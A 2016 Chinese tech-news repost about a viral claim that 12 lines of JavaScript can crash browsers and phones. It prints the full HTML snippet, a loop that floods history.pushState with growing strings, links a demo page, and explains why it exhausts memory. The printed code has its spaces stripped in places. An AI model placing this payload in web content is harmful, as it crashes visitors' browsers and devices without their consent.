使浏览器崩溃只需12行代码? | 趋势网
趋势网
趋势网 > 文章 > 正文
使浏览器崩溃只需12行代码?
转摘 2016-01-23 16:29:13 HYJ2017
母子衣衫不整游荡当事女子回应 快递员微信搭讪女业主被小区禁入 多部门介入母子衣衫不整街头游荡 千万新房当嫁妆被陌生人拆成毛坯 1岁宝宝误食含老鼠药鸡蛋父亲发声 
原来你买的都有隐藏券!快查淘宝天猫内部优惠券

趋势网(微博|微信)讯:

事情的起因

在推特上,国外一哥们CyberSecurity发了这么一条推文:

,使浏览器崩溃只需12行代码?记者暗访有 偿陪伴服务 1岁宝宝误食含老鼠药鸡蛋父亲发声 利雅得机场再遭袭1死11伤 遭咬死男子戴耳机跳舞求和老虎合影 男子国庆旷工4天遭开除起诉被驳回

神秘的12行代码(图片来自0xroot)

这哥们声称,如果你使用上述这段12行的JavaScript代码,就可以能让firefox、chrome、safari浏览器崩溃,而且还能让iphone重启,安卓手机闪退!

这简单的十二行代码就能使浏览器崩溃?实在难以令人信服,

于是网友们继续在推特上深挖,发现另一小哥ITSecurityTweets也发过类似的推文:

依旧是这段代码

,使浏览器崩溃只需12行代码?

(图片来自0xroot)

完整HTML代码如下:

<html>

<body>

<script>

vartotal="";

for(vari=0;i<1000000;i++)

{

total=total+i.toString();

history.pushState(0,0,total);

}

</script>

</body>

</html>

有兴趣我们可以做个测试

下面的这个网站正是以这十二行代码来编成的

http://www.0xroot.cn/demo.html(注意:请保存浏览器正在运行的编辑内容或任务!)

打开后的后果

如果你是PC端用户,点开链接以后,电脑CPU内存极有可能一路狂飙直至浏览器崩溃卡死.。.

如果你是移动端(安卓、iPhone)用户,点开链接以后你的浏览器会闪退!在微博、微信点开链接也同样会闪退。

为什么会发生此现象呢?

知乎上找到了一位名为“小米”的大神解答:

history.pushstate() 是HTML5引入的API,pushState将指定的URL添加到浏览器历史里,存储当前历史记录

点。当i<100000的时候会循环的 将total记录到浏览器历史里面,重复多了,浏览器就承受不住了,自然就崩了。

正在看美女  
某宝是什么,为什么叫某宝?对!我就是那个某宝
资讯    头条  人物   盘点  爆料  花边    囧图  段子  福利
奇闻    母子衣衫不整游荡当事女子回应 快递员微信搭讪女业主被小区禁入 多部门介入母子衣衫不整街头游荡 千万新房当嫁妆被陌生人拆成毛坯 1岁宝宝误食含老鼠药鸡蛋父亲发声 母子衣衫不整游荡当事女子回应 快递员微信搭讪女业主被小区禁入 
专题    优衣库  iPhone8  苹果X
标签    互联网+  智能物联  增强现实  虚拟现实
感谢各大网址导航推荐本站
360导航
UC导航
Opera导航
毒霸网址
无限趋势·趋势网:关注互联网热点
www.mtrend.cn
@趋势网
趋势网
京ICP备09071216号-4